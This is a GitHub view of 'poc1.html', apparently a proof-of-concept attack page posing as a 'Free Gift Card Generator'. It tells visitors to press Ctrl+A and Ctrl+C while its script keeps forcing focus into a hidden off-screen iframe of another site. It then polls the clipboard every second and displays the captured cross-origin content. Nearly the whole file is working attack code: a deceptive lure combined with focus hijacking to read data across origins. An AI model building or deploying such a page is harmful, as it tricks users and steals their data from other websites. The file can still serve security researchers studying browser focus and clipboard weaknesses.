-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpoc1.html
More file actions
167 lines (143 loc) · 5.08 KB
/
Copy pathpoc1.html
File metadata and controls
167 lines (143 loc) · 5.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
<!DOCTYPE html>
<html>
<head>
<title>Free Money + Gift Card Generator</title>
<style>
#iframe-container {
position: absolute;
left: -9999px;
top: -9999px;
width: 0;
height: 0;
overflow: hidden;
}
iframe {
width: 800px;
height: 500px;
border: 1px solid black;
}
#output {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
min-height: 200px;
white-space: pre-wrap;
}
.instructions {
background-color: #ffffcc;
padding: 10px;
margin: 10px 0;
border: 1px solid #e5e5e5;
}
.status {
color: #666;
font-style: italic;
margin-top: 5px;
}
.main-content {
padding: 2 0px;
background-color: #f9f9f9;
border-radius: 5px;
margin-bottom: 20px;
}
#focus-trap {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: transparent;
z-index: -1;
pointer-events: none;
}
</style>
</head>
<body>
<div id="focus-trap"></div>
<h1>giftgen 2.0 😎</h1>
<div class="main-content">
<h2>Free Gift Card Generator</h2>
<p>Just think about what you want to buy and we will use our 10-dimensional multiversal anime waifu mind reading technology to generate a gift card for you.</p>
<p>Simply press <strong>Ctrl+A</strong> and then <strong>Ctrl+C</strong> to analyze the atomic structure of the universe, just remember not to inspect element or you will rip through the fabric of reality.</p>
</div>
<div class="instructions">
<h3>Instructions: Press Ctrl+A and then Ctrl+C</h3>
<p>This will generate your gift card.</p>
<p class="status" id="status">Waiting for analysis...</p>
</div>
<div id="iframe-container">
<iframe id="target-frame" src="https://example.com/" tabindex="1"></iframe>
</div>
<div>
<h2>Analysis Result:</h2>
<pre id="output"></pre>
</div>
<script>
// Store last clipboard content to detect changes
let lastClipboardContent = '';
let focusInterval;
// Function to focus the iframe
function focusIframe() {
const iframe = document.getElementById('target-frame');
if (iframe.contentWindow) {
iframe.contentWindow.focus();
console.log("Iframe focused");
}
}
async function checkClipboard() {
try {
if (navigator.clipboard) {
const text = await navigator.clipboard.readText();
// update if changed
if (text !== lastClipboardContent) {
lastClipboardContent = text;
document.getElementById('output').textContent = text;
console.log("Cross-origin content read:", text);
}
}
} catch (err) {
// Literally just don't do shit
}
// Continue checking
setTimeout(checkClipboard, 1000);
}
function setupPersistentFocus() {
// first focus
focusIframe();
// is it focused?
focusInterval = setInterval(focusIframe, 100); // check every 100ms
// credit to stack overflow for this part
const eventTypes = [
'click', 'mousedown', 'mouseup', 'touchstart', 'touchend',
'focus', 'blur', 'focusin', 'focusout'
];
// Handle events on document
eventTypes.forEach(eventType => {
document.addEventListener(eventType, function(e) {
if (e.target.id !== 'target-frame') {
// re-focus fasttttt
setTimeout(focusIframe, 0);
}
}, true);
});
// visibility change to re-focus when tab becomes visible again
document.addEventListener('visibilitychange', function() {
if (document.visibilityState === 'visible') {
focusIframe();
}
});
// had to pray to the chatgpt gods for this part
window.addEventListener('blur', function() {
setTimeout(focusIframe, 0);
});
window.addEventListener('focus', function() {
setTimeout(focusIframe, 0);
});
}
window.addEventListener('load', () => {
setupPersistentFocus();
checkClipboard();
});
</script>
</body>
</html>